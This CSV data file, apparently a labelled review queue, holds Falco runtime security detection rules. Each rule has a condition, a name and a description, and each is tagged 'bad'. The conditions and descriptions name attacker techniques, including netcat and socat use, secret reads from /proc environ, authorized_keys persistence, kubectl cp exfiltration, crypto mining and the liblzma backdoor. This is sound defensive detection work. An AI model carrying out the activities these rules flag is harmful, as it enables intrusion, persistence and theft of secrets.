28b884486d0b5bccdb8fef30,"spawned_process and not container and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo, lastlog, nologin, unix_chkpwd) and not proc.pname in (cron_binaries, systemd, systemd.postins, udev.postinst, run-parts) and not proc.cmdline startswith ""passwd -S"" and not proc.cmdline startswith ""useradd -D"" and not proc.cmdline startswith ""systemd --version"" and not run_by_qualys and not run_by_sumologic_securefiles and not run_by_yum and not run_by_ms_oms and not run_by_google_accounts_daemon and not chage_list and not user_known_user_management_activities","spawned_process and not container and proc.name in (user_mgmt_binaries) and not proc.name in (su, sudo, lastlog, nologin, unix_chkpwd) and not proc.pname in (cron_binaries, systemd, systemd.postins, udev.postinst, run-parts) and not proc.cmdline startswith ""passwd -S"" and not proc.cmdline startswith ""useradd -D"" and not proc.cmdline startswith ""systemd --version"" and not run_by_qualys and not run_by_sumologic_securefiles and not run_by_yum and not run_by_ms_oms and not run_by_google_accounts_daemon and not chage_list and not user_known_user_management_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,User mgmt binaries,falco_condition,[],linux/container,0.3,True,"Detect activity by any programs that can manage users, passwords, or permissions (such as login, systemd, usermod, deluser, adduser, chpasswd, and others). sudo and su are excluded. Activity in containers is also excluded -- some containers create custom users on top of a base linux distribution at startup. Some innocuous command lines that don't actually change anything are excluded. You might want to consider applying this rule to container actions as well.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc56e5594b6d575ab771d174,"(evt.type = creat or (evt.type in (open,openat,openat2))) and evt.arg.flags contains O_CREAT and fd.directory = /dev and not proc.name in (dev_creation_binaries) and not fd.name in (allowed_dev_files) and not fd.name startswith /dev/tty and not user_known_create_files_below_dev_activities","(evt.type = creat or (evt.type in (open,openat,openat2))) and evt.arg.flags contains O_CREAT and fd.directory = /dev and not proc.name in (dev_creation_binaries) and not fd.name in (allowed_dev_files) and not fd.name startswith /dev/tty and not user_known_create_files_below_dev_activities",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Create files below dev,falco_condition,[],linux/container,0.3,True,"Detect the creation of files under /dev except for authorized device management programs. This can reveal rootkits hiding files in /dev. Additionally, consider the ""Execution from /dev/shm"" rule. The upstream rule already covers some tuning scenarios that you can further expand upon.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
65120feb6cd7d5f842b30e61,"outbound and container and fd.sip=""169.254.169.254"" and not ec2_metadata_containers","outbound and container and fd.sip=""169.254.169.254"" and not ec2_metadata_containers",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Contact EC2 Instance Metadata Service From Container,falco_condition,[],linux/container,0.3,True,"Detects attempts to communicate with the EC2 Instance Metadata Service from a container. This detection is narrowly focused and might not apply to your environment. In addition, it could generate noise and require fine-tuning.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
889444fbd4032c4a8d50004f,"outbound and container and fd.sip=""169.254.169.254"" and not user_known_metadata_access","outbound and container and fd.sip=""169.254.169.254"" and not user_known_metadata_access",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Contact cloud metadata service from container,falco_condition,[],linux/container,0.3,True,"Detects attempts to communicate with the Cloud Instance Metadata Service from a container. This detection is narrowly focused and might not apply to your environment. In addition, it could generate noise and require fine-tuning.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ba284aa63dd94240a6a025f,"spawned_process and container and user.name != ""_apt"" and package_mgmt_procs and not package_mgmt_ancestor_procs and not user_known_package_manager_in_container and not pkg_mgmt_in_kube_proxy","spawned_process and container and user.name != ""_apt"" and package_mgmt_procs and not package_mgmt_ancestor_procs and not user_known_package_manager_in_container and not pkg_mgmt_in_kube_proxy",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Package Management Process in Container,falco_condition,[],linux/container,0.3,True,"Detect package management processes executed within containers. An excellent auditing rule to monitor general drifts in containers. Particularly useful for newer rules like ""Drop and execute new binary in container"" during incident response investigations. This helps identify common anti-patterns of ad-hoc debugging. Simultaneously, to maintain optimal hygiene, it's recommended to prevent container drifts and instead opt for redeploying new containers.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4c691fa7a844b39751c19776,spawned_process and container and network_tool_procs and not user_known_network_tool_activities,spawned_process and container and network_tool_procs and not user_known_network_tool_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Suspicious Network Tool in Container,falco_condition,[],linux/container,0.3,True,"Detect network tools (like netcat, nmap, tcpdump, socat, and more) launched within containers without any additional filters. This serves as a valuable general detection, but it's recommended to invest engineering effort to fine-tune it and prevent a high volume of legitimate logs. This rule complements the more specific ""Netcat Remote Code Execution in Container"" rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
deb4f1fc49a8fd8efb592614,spawned_process and not container and network_tool_procs and not user_known_network_tool_activities,spawned_process and not container and network_tool_procs and not user_known_network_tool_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Suspicious Network Tool on Host,falco_condition,[],linux/container,0.3,True,"Detect network tools (like netcat, nmap, tcpdump, socat, and more) launched within containers without any additional filters. This serves as a valuable general detection, but it's recommended to invest engineering effort to fine-tune it and prevent a high volume of legitimate logs. The host equivalent of ""Launch Suspicious Network Tool in Container."".
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0d0112e34b7eab49e2c93aee,(modify_shell_history or truncate_shell_history) and not var_lib_docker_filepath and not proc.name in (docker_binaries),(modify_shell_history or truncate_shell_history) and not var_lib_docker_filepath and not proc.name in (docker_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Delete or rename shell history,falco_condition,[],linux/container,0.3,True,"Detect shell history deletion, frequently used by unsophisticated adversaries to eliminate evidence. Note that it can also trigger when exiting a Terminal shell, such as with `kubectl exec`, which may introduce some noise.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08fe1c9e1059658427d055c1,"chmod and (evt.arg.mode contains ""S_ISUID"" or evt.arg.mode contains ""S_ISGID"") and not proc.name in (user_known_chmod_applications) and not exe_running_docker_save and not user_known_set_setuid_or_setgid_bit_conditions","chmod and (evt.arg.mode contains ""S_ISUID"" or evt.arg.mode contains ""S_ISGID"") and not proc.name in (user_known_chmod_applications) and not exe_running_docker_save and not user_known_set_setuid_or_setgid_bit_conditions",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Set Setuid or Setgid bit,falco_condition,[],linux/container,0.3,True,"This rule is focused on detecting the use of setuid or setgid bits set via chmod. These bits, when set for an application, result in the application running with the privileges of the owning user or group. By enabling the setuid or setgid bits, an attacker could run code in a different user's context, possibly with elevated privileges. However, there's a trade-off with noise, given that numerous applications legitimately run chmod. This rule is related to the ""Non sudo setuid"" rule.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4b27e25a18179a8fae77cf72,spawned_process and container and remote_file_copy_procs and not user_known_remote_file_copy_activities,spawned_process and container and remote_file_copy_procs and not user_known_remote_file_copy_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Remote File Copy Tools in Container,falco_condition,[],linux/container,0.3,True,"Detect remote file copy tools (like rsync, scp, sftp, dcp) launched within a container, potentially indicating data exfiltration. Suggest refining this rule to accommodate legitimate use cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8f70444f79128dc791db3bb,inbound_outbound and container and k8s.ns.name in (namespace_scope_network_only_subnet) and not network_local_subnet,inbound_outbound and container and k8s.ns.name in (namespace_scope_network_only_subnet) and not network_local_subnet,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Network Connection outside Local Subnet,falco_condition,[],linux/container,0.3,True,"Detect network traffic (inbound or outbound) from a container to a destination outside the local subnet. To operationalize this rule, profile your environment and update the template macro namespace_scope_network_only_subnet. Customizing network-related rules usually demands substantial engineering effort to ensure their functionality.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a69a4234607814bde4df5633,spawned_process and container and container.privileged=true and proc.name=mount and not mount_info and not known_gke_mount_in_privileged_containers and not known_aks_mount_in_privileged_containers and not known_eks_mount_in_privileged_containers and not user_known_mount_in_privileged_containers,spawned_process and container and container.privileged=true and proc.name=mount and not mount_info and not known_gke_mount_in_privileged_containers and not known_aks_mount_in_privileged_containers and not known_eks_mount_in_privileged_containers and not user_known_mount_in_privileged_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Mount Launched in Privileged Container,falco_condition,[],linux/container,0.3,True,"Detect filesystem mounts (using the mount binary) within a privileged container. Due to the elevated privileges, this action could be one of the TTPs used in an attempt to escape from a container to the host. This type of action is often preceded by reconnaissance activities, for which you can also create custom rules.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f1006880f2a64ddfd215c377,spawned_process and container and (ingress_remote_file_copy_procs or curl_download) and not user_known_ingress_remote_file_copy_activities,spawned_process and container and (ingress_remote_file_copy_procs or curl_download) and not user_known_ingress_remote_file_copy_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Launch Ingress Remote File Copy Tools in Container,falco_condition,[],linux/container,0.3,True,"Detect ingress remote file copy tools (such as curl or wget) launched inside containers. This rule can be considered a valuable auditing tool, but it has the potential to generate notable noise and requires careful profiling before full operationalization.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2177a9c1ec3f27b634544217,open_read and container and (fd.name glob /proc/*/environ) and not proc.name in (known_binaries_to_read_environment_variables_from_proc_files),open_read and container and (fd.name glob /proc/*/environ) and not proc.name in (known_binaries_to_read_environment_variables_from_proc_files),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Read environment variable from /proc files,falco_condition,[],linux/container,0.3,True,"An attempt to read process environment variables from /proc files. The consequences are akin to accessing traditional sensitive files, as sensitive data, including secrets, might be stored in environment variables. Understanding your environment, such as identifying critical namespaces, and incorporating extra filtering statements to alert exclusively for those, can enhance the rule's effectiveness.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8484aab45c68ca2ba20157c1,open_read and container and proc.name=tar and container_entrypoint and proc.tty=0 and not system_level_side_effect_artifacts_kubectl_cp,open_read and container and proc.name=tar and container_entrypoint and proc.tty=0 and not system_level_side_effect_artifacts_kubectl_cp,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Exfiltrating Artifacts via Kubernetes Control Plane,falco_condition,[],linux/container,0.3,True,"Detect the copying of artifacts from a container's file system using the Kubernetes control plane (kubectl cp). This rule can identify potential exfiltration of application secrets from containers' file systems, potentially revealing the outcomes of unauthorized access and control plane misuse via stolen identities (such as stolen credentials like Kubernetes serviceaccount tokens). Can be customized by the adopter to only monitor specific artifact paths, containers, or namespaces as needed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc462f3390df7afdc1ef94a9,open_write and (user_ssh_directory or fd.name startswith /root/.ssh) and fd.name endswith authorized_keys and not proc.name in (ssh_binaries),open_write and (user_ssh_directory or fd.name startswith /root/.ssh) and fd.name endswith authorized_keys and not proc.name in (ssh_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Adding ssh keys to authorized_keys,falco_condition,[],linux/container,0.3,True,"After gaining access, attackers can modify the authorized_keys file to maintain persistence on a victim host. Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. This rules aims at detecting any modification to the authorized_keys file, that is usually located under the .ssh directory in any user's home directory. This rule complements the mor",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a12b573350260c926841e2b3,spawned_process and glibc_tunables_env,spawned_process and glibc_tunables_env,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Potential Local Privilege Escalation via Environment Variables Misuse,falco_condition,[],linux/container,0.3,True,"Process run with suspect environment variable that could be attempting privilege escalation. One use case is detecting the use of the GLIBC_TUNABLES environment variable, which could be used for privilege escalation on systems running vulnerable glibc versions. Only known and carefully profiled processes that legitimately exhibit this behavior should be excluded from this rule. This rule is expected to trigger on every attempt, even failed ones.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
335431da5a7f1f2b09609539,"open_read and proc.name=sshd and (fd.name contains ""liblzma.so.5.6.0"" or fd.name contains ""liblzma.so.5.6.1"")","open_read and proc.name=sshd and (fd.name contains ""liblzma.so.5.6.0"" or fd.name contains ""liblzma.so.5.6.1"")",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,Backdoored library loaded into SSHD (CVE-2024-3094),falco_condition,[],linux/container,0.3,True,"This rule detects possible CVE-2024-3094 exploitation when the SSH daemon process loads a vulnerable version of the liblzma library. An attacker could exploit this to interfere with authentication in sshd via systemd, potentially compromising sensitive data or escalating their privileges.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9882c1e0441ac1cc4abe537c,evt.type=bpf and (evt.arg.cmd=5 or evt.arg.cmd=BPF_PROG_LOAD) and not bpf_profiled_procs,evt.type=bpf and (evt.arg.cmd=5 or evt.arg.cmd=BPF_PROG_LOAD) and not bpf_profiled_procs,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-incubating_rules.yaml,BPF Program Not Profiled,falco_condition,[],linux/container,0.3,True,"BPF is a kernel technology that can be misused for malicious purposes, like ""Linux Kernel Module Injection"". This rule should be considered an auditing rule to notify you of any unprofiled BPF tools running in your environment. However, it requires customization after profiling your environment. BPF-powered agents make bpf syscalls all the time, so this rule only sends logs for BPF_PROG_LOAD calls (bpf cmd=5) in the enter event. If you also want to log whether the syscall failed or succeeded, re",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3db423f680d2e4c75e3d704,inbound and not ((fd.cip in (allowed_inbound_source_ipaddrs)) or (fd.cnet in (allowed_inbound_source_networks)) or (fd.cip.name in (allowed_inbound_source_domains))),inbound and not ((fd.cip in (allowed_inbound_source_ipaddrs)) or (fd.cnet in (allowed_inbound_source_networks)) or (fd.cip.name in (allowed_inbound_source_domains))),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Unexpected inbound connection source,falco_condition,[],linux/container,0.3,True,"Detect any inbound connection from a source outside of an allowed set of ips, networks, or domain names. This rule absolutely requires profiling your environment beforehand. Network-based rules are extremely crucial in any security program, as they can often provide the only definitive evidence. However, effectively operationalizing them can be challenging due to the potential for noise.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
746c5f488916a1b2c2cfa874,open_read and (fd.filename in (shell_config_filenames) or fd.name in (shell_config_files) or fd.directory in (shell_config_directories)) and not proc.name in (shell_binaries),open_read and (fd.filename in (shell_config_filenames) or fd.name in (shell_config_files) or fd.directory in (shell_config_directories)) and not proc.name in (shell_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Read Shell Configuration File,falco_condition,[],linux/container,0.3,True,"This rule detects attempts made by non-shell programs to read shell configuration files. It offers additional generic auditing. It serves as a baseline detection alert for unusual shell configuration file accesses. The rule ""Modify Shell Configuration File"" might be more relevant and adequate for your specific cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
513963d0818585f948ddfc3d,((open_write and access_repositories) or (modify and modify_repositories)) and not package_mgmt_procs and not package_mgmt_ancestor_procs and not exe_running_docker_save and not user_known_update_package_registry,((open_write and access_repositories) or (modify and modify_repositories)) and not package_mgmt_procs and not package_mgmt_ancestor_procs and not exe_running_docker_save and not user_known_update_package_registry,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Update Package Repository,falco_condition,[],linux/container,0.3,True,"This rule generically detects updates to package repositories and can be seen as an auditing measure. Recommend evaluating its relevance for your specific environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18d8f7842ea4e792ff2ce2db,open_write and bin_dir and not package_mgmt_procs and not exe_running_docker_save and not python_running_get_pip and not python_running_ms_oms and not user_known_write_below_binary_dir_activities,open_write and bin_dir and not package_mgmt_procs and not exe_running_docker_save and not python_running_get_pip and not python_running_ms_oms and not user_known_write_below_binary_dir_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Write below binary dir,falco_condition,[],linux/container,0.3,True,"Trying to write to any file below specific binary directories can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7d7f1b40372d1225d2896047,open_write and monitored_dir and not package_mgmt_procs and not coreos_write_ssh_dir and not exe_running_docker_save and not python_running_get_pip and not python_running_ms_oms and not google_accounts_daemon_writing_ssh and not cloud_init_writing_ssh and not user_known_write_monitored_dir_conditions,open_write and monitored_dir and not package_mgmt_procs and not coreos_write_ssh_dir and not exe_running_docker_save and not python_running_get_pip and not python_running_ms_oms and not google_accounts_daemon_writing_ssh and not cloud_init_writing_ssh and not user_known_write_monitored_dir_conditions,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Write below monitored dir,falco_condition,[],linux/container,0.3,True,"Trying to write to any file below a set of monitored directories can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f482ef5003a11c7475c56481,write_etc_common,write_etc_common,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Write below etc,falco_condition,[],linux/container,0.3,True,"Trying to write to any file below /etc can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8b8f41fb769af48d7143a996,open_write and root_dir and proc_name_exists and not fd.name in (known_root_files) and not fd.directory pmatch (known_root_directories) and not exe_running_docker_save and not gugent_writing_guestagent_log and not dse_writing_tmp and not zap_writing_state and not airflow_writing_state and not rpm_writing_root_rpmdb and not maven_writing_groovy and not chef_writing_conf and not kubectl_writing_state and not cassandra_writing_state and not galley_writing_state and not calico_writing_state and not rancher_writing_root and not runc_writing_exec_fifo and not mysqlsh_writing_state and not known_root_conditions and not user_known_write_root_conditions and not user_known_write_below_root_activities,open_write and root_dir and proc_name_exists and not fd.name in (known_root_files) and not fd.directory pmatch (known_root_directories) and not exe_running_docker_save and not gugent_writing_guestagent_log and not dse_writing_tmp and not zap_writing_state and not airflow_writing_state and not rpm_writing_root_rpmdb and not maven_writing_groovy and not chef_writing_conf and not kubectl_writing_state and not cassandra_writing_state and not galley_writing_state and not calico_writing_state and not rancher_writing_root and not runc_writing_exec_fifo and not mysqlsh_writing_state and not known_root_conditions and not user_known_write_root_conditions and not user_known_write_below_root_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Write below root,falco_condition,[],linux/container,0.3,True,"Trying to write to any file directly below / or /root can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases. Lastly, this rule stands out as potentially the noisiest one among rules relat",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f401ddd1bae237c7b94d9a76,open_write and fd.name startswith /var/lib/rpm and not rpm_procs and not ansible_running_python and not python_running_chef and not exe_running_docker_save and not amazon_linux_running_python_yum and not user_known_write_rpm_database_activities,open_write and fd.name startswith /var/lib/rpm and not rpm_procs and not ansible_running_python and not python_running_chef and not exe_running_docker_save and not amazon_linux_running_python_yum and not user_known_write_rpm_database_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Write below rpm database,falco_condition,[],linux/container,0.3,True,"Trying to write to the rpm database by any non-rpm related program can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9d0951880a10a859d3a9affa,modify and bin_dir_rename and not package_mgmt_procs and not exe_running_docker_save and not user_known_modify_bin_dir_activities,modify and bin_dir_rename and not package_mgmt_procs and not exe_running_docker_save and not user_known_modify_bin_dir_activities,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Modify binary dirs,falco_condition,[],linux/container,0.3,True,"Trying to modify any file below a set of binary directories can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
055bf7196cfaea817ce8d5e3,mkdir and bin_dir_mkdir and not package_mgmt_procs and not user_known_mkdir_bin_dir_activities and not exe_running_docker_save,mkdir and bin_dir_mkdir and not package_mgmt_procs and not user_known_mkdir_bin_dir_activities and not exe_running_docker_save,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Mkdir binary dirs,falco_condition,[],linux/container,0.3,True,"Trying to create a directory below a set of binary directories can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41ab30af8fd612e455059516,container_started and sensitive_mount and not falco_sensitive_mount_containers and not user_sensitive_mount_containers,container_started and sensitive_mount and not falco_sensitive_mount_containers and not user_sensitive_mount_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Launch Sensitive Mount Container,falco_condition,[],linux/container,0.3,True,"Detect the initial process launched within a container that has a mount from a sensitive host directory (e.g. /proc). Exceptions are made for known trusted images. This rule holds value for generic auditing; however, its noisiness varies based on your environment.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
231af038430e251f9cdb354b,container_started and not allowed_containers,container_started and not allowed_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Launch Disallowed Container,falco_condition,[],linux/container,0.3,True,"Detect the initial process launched within a container that is not in a list of allowed containers. This rule holds value for generic auditing; however, this rule requires a good understanding of your setup and consistent effort to keep the list of allowed containers current. In some situations, this can be challenging to manage.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
70dc456ccd838c6d672c116e,inbound and interpreted_procs,inbound and interpreted_procs,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Interpreted procs inbound network activity,falco_condition,[],linux/container,0.3,True,"Any inbound network activity performed by any interpreted program (perl, python, ruby, etc.). While it offers broad coverage and behavioral insights, operationalizing it effectively requires significant time and might result in a moderate level of noise. Suggesting customizing this rule to be more specific. For example, you could set it up to alert only for important namespaces after studying their usual behavior.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44d2be1a1722d93b959ab4f7,outbound and interpreted_procs,outbound and interpreted_procs,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Interpreted procs outbound network activity,falco_condition,[],linux/container,0.3,True,"Any outbound network activity performed by any interpreted program (perl, python, ruby, etc.). While it offers broad coverage and behavioral insights, operationalizing it effectively requires significant time and might result in a moderate level of noise. Suggesting customizing this rule to be more specific. For example, you could set it up to alert only for important namespaces after studying their usual behavior.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0db896a5f0e80895553fa6c0,inbound_outbound and container and fd.sport >= 30000 and fd.sport <= 32767 and not nodeport_containers,inbound_outbound and container and fd.sport >= 30000 and fd.sport <= 32767 and not nodeport_containers,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Unexpected K8s NodePort Connection,falco_condition,[],linux/container,0.3,True,"Detect attempts to utilize K8s NodePorts from a container. K8s NodePorts are accessible on the eth0 interface of each node, and they facilitate external traffic into a Kubernetes cluster. Attackers could misuse them for unauthorized access. The rule uses default port ranges, but check for custom ranges and make necessary adjustments. Also, consider tuning this rule as needed.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
998df90f9a66f440b1f7aa66,"((modify and evt.arg.newpath contains ""/."") or (mkdir and evt.arg.path contains ""/."") or (open_write and evt.arg.flags contains ""O_CREAT"" and fd.name contains ""/."" and not fd.name pmatch (exclude_hidden_directories))) and not user_known_create_hidden_file_activities and not exe_running_docker_save","((modify and evt.arg.newpath contains ""/."") or (mkdir and evt.arg.path contains ""/."") or (open_write and evt.arg.flags contains ""O_CREAT"" and fd.name contains ""/."" and not fd.name pmatch (exclude_hidden_directories))) and not user_known_create_hidden_file_activities and not exe_running_docker_save",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Create Hidden Files or Directories,falco_condition,[],linux/container,0.3,True,"Detecting hidden files or directories creation can serve as an auditing rule to track general system changes. Such rules can be noisy and challenging to interpret, particularly if your system frequently undergoes updates. However, careful profiling of your environment can transform this rule into an effective rule for detecting unusual behavior associated with system changes, including compliance-related cases.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
97e3487735be23d94f9eb1dc,net_miner_pool and not trusted_images_query_miner_domain_dns,net_miner_pool and not trusted_images_query_miner_domain_dns,bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Detect outbound connections to common miner pool ports,falco_condition,[],linux/container,0.3,True,"Miners usually connect to miner pools using standard ports, and this rule flags such activity. Important: Falco currently sends DNS requests to resolve miner pool domains, which could trigger other alerts. Prior to enabling this rule, it's advised to ensure whether this is acceptable for your environment. This rule is specifically disabled for that reason.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b07e3cc3ff9eea0e55c2bea7,"spawned_process and (proc.cmdline contains ""stratum+tcp"" or proc.cmdline contains ""stratum2+tcp"" or proc.cmdline contains ""stratum+ssl"" or proc.cmdline contains ""stratum2+ssl"")","spawned_process and (proc.cmdline contains ""stratum+tcp"" or proc.cmdline contains ""stratum2+tcp"" or proc.cmdline contains ""stratum+ssl"" or proc.cmdline contains ""stratum2+ssl"")",bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Detect crypto miners using the Stratum protocol,falco_condition,[],linux/container,0.3,True,"Miners commonly specify the mining pool to connect to using a URI that starts with ""stratum+tcp"". However, this rule is highly specific to this technique, and matching command-line arguments can generally be bypassed quite easily.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93d5cbd7501f5f6a806f5abe,spawned_process and container and not user_known_k8s_client_container_parens and proc.name in (k8s_client_binaries),spawned_process and container and not user_known_k8s_client_container_parens and proc.name in (k8s_client_binaries),bad,bad,plain,behavior_rule,runtime_rule,falco_rules,falcosecurity/rules,rules/falco-sandbox_rules.yaml,Kubernetes Client Tool Launched in Container,falco_condition,[],linux/container,0.3,True,"Detect the execution of a Kubernetes client tool (like docker, kubectl, crictl) within a container, which is typically not expected behavior. Although this rule targets container workloads, monitoring the use of tools like crictl on the host over interactive access could also be valuable for broader auditing objectives.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
